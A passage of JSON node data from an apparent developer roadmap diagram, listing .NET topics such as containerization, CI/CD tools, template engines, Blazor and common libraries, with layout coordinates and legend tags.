\"position\": {\n        \"x\": -153.38897900509676,\n        \"y\": 2510.049532546853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"YARP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -153.38897900509676,\n        \"y\": 2510.049532546853\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4ObSoVqiiYzV_Ph0UdSr-\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -233.24239716008708,\n        \"y\": 2568.739205506869\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Containerization\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Kq2TQn9DN1bIy9fWSSCkP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -233.24239716008708,\n        \"y\": 2568.739205506869\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"rmRESzLiZNWdBFXLrwQFJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2604.739205506869\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"02rtFStTeIm8prNskxaUN\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2604.739205506869\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"02rtFStTeIm8prNskxaUN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2658.739205506869\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2658.739205506869\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kq2TQn9DN1bIy9fWSSCkP\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -192.8408171232163,\n        \"y\": 2721.005494878551\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Other\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"eMolc0UKdEgLDFJ2FximV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -192.8408171232163,\n        \"y\": 2721.005494878551\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"HqhqqiA5X00Xl1RnZgrNJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2767.6564093838533\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \".NET Aspire\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IHY9uL3dzYmf2D2wWgIh-\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2767.6564093838533\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XKsLqDDco5OXKURCcWAmv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2821.6564093838533\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Orleans\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s8evqe2MireS1UhxoXrd1\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2821.6564093838533\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s8evqe2MireS1UhxoXrd1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -158.74239716008708,\n        \"y\": 2821.6564093838533\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SteelToe\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -158.74239716008708,\n        \"y\": 2821.6564093838533\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IHY9uL3dzYmf2D2wWgIh-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2877.548245909759\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dapr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -263.7423971600871,\n        \"y\": 2877.548245909759\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KIFmahcNiSo2NGoLtAyRR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 7.454238337290576,\n        \"y\": 2473.154603018019\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 7.454238337290576,\n        \"y\": 2473.154603018019\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0-PLMXGlRyRzTk-EjXMs2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2215.258261345686\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8Y73Ae32eo6_ye7dw5QRQ\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2215.258261345686\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_-GQNpsb7KZw76hNNOq3h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2268.258261345686\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Azure Pipelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8Y73Ae32eo6_ye7dw5QRQ\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2268.258261345686\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8Y73Ae32eo6_ye7dw5QRQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2321.258261345686\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitLab CI/CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2321.258261345686\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KyGjXgG6JFo42qOV0wqfB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2374.258261345686\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Circle CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 165,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.19572608840792,\n        \"y\": 2374.258261345686\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RX_6yD1QGLEGwV4j6z_g-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 301.96419656583225,\n        \"y\": 2473.154603018019\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Software Design and Architecture\",\n        \"href\": \"https://roadmap.sh/software-design-architecture\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 301.96419656583225,\n        \"y\": 2473.154603018019\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C85aJvrzj6rP2Hmfj9uPB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 356.96419656583225,\n        \"y\": 2654.6289816349786\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Template Engines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1YL7aXluINOO15W3waaiD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.96419656583225,\n        \"y\": 2654.6289816349786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nUE2-egUMNFQoPVrVRFPl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.43680101835645,\n        \"y\": 2604.2447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Razor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.43680101835645,\n        \"y\": 2604.2447426406907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dWB5OCvWVYkD30Op_dMwy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.43680101835645,\n        \"y\": 2657.2447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scriban\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.43680101835645,\n        \"y\": 2657.2447426406907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZaOhWWDgVxrn0hbesJ7xT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.43680101835645,\n        \"y\": 2710.2447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fluid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 76.43680101835645,\n        \"y\": 2710.2447426406907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1YL7aXluINOO15W3waaiD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 356.96419656583225,\n        \"y\": 2710.2447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.96419656583225,\n        \"y\": 2710.2447426406907\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o2oks1bG_-8InCKVol_s3\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 369.96419656583225,\n        \"y\": 2605.7447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Client-Side .NET\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20\n        },\n        \"oldId\": \"nw-pE4itvz1D7BWtyx5cm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 369.96419656583225,\n        \"y\": 2605.7447426406907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"4iD_hDtgJ15IlJGxiO-E8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 625.7530528135321,\n        \"y\": 2657.2447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Blazor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 625.7530528135321,\n        \"y\": 2657.2447426406907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"olqSPUU3RoxhQ6exfMzeN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 625.7530528135321,\n        \"y\": 2710.2447426406907\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \".NET MAUI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 625.7530528135321,\n        \"y\": 2710.2447426406907\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ao7YnoJ31qQxcItMY8XJU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 430.5766878818748,\n        \"y\": 2504.6289816349786\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 85,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"positionAbsolute\": {\n        \"x\": 430.5766878818748,\n        \"y\": 2504.6289816349786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"id\": \"nw-pE4itvz1D7BWtyx5cm\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 340.96419656583225,\n        \"y\": 2866.0426302976452\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Good-to-Know Libraries\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 20\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 340.96419656583225,\n        \"y\": 2866.0426302976452\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Zb4Gugxf7d6MoeEcfngrV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.10695532015461,\n        \"y\": 2803.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scalar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.10695532015461,\n        \"y\": 2803.2129376580287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cc0UNQwbDlySue-CvpChR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.82344177403695,\n        \"y\": 2803.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MediatR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.82344177403695,\n        \"y\": 2803.2129376580287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sa0zXd8lpNs_SFQ2y-PY4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.10695532015461,\n        \"y\": 2856.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"FluentValidation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.10695532015461,\n        \"y\": 2856.2129376580287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gQhiEpvx__70N1WbEHGYJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 44.10695532015461,\n        \"y\": 2909.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Polly\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EsC1JwFOMOlQVelpmxISh\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.10695532015461,\n        \"y\": 2909.2129376580287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ipb6proIZKG-_vCOMAiBu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.82344177403695,\n        \"y\": 2910.2477050182865\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Marten\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.82344177403695,\n        \"y\": 2910.2477050182865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EsC1JwFOMOlQVelpmxISh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 43.6576825168454,\n        \"y\": 2962.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Nuke\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ipb6proIZKG-_vCOMAiBu\",\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 43.6576825168454,\n        \"y\": 2962.2129376580287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9LEVN-uVEwxJooEiB9ApK\",\n      \"type\": 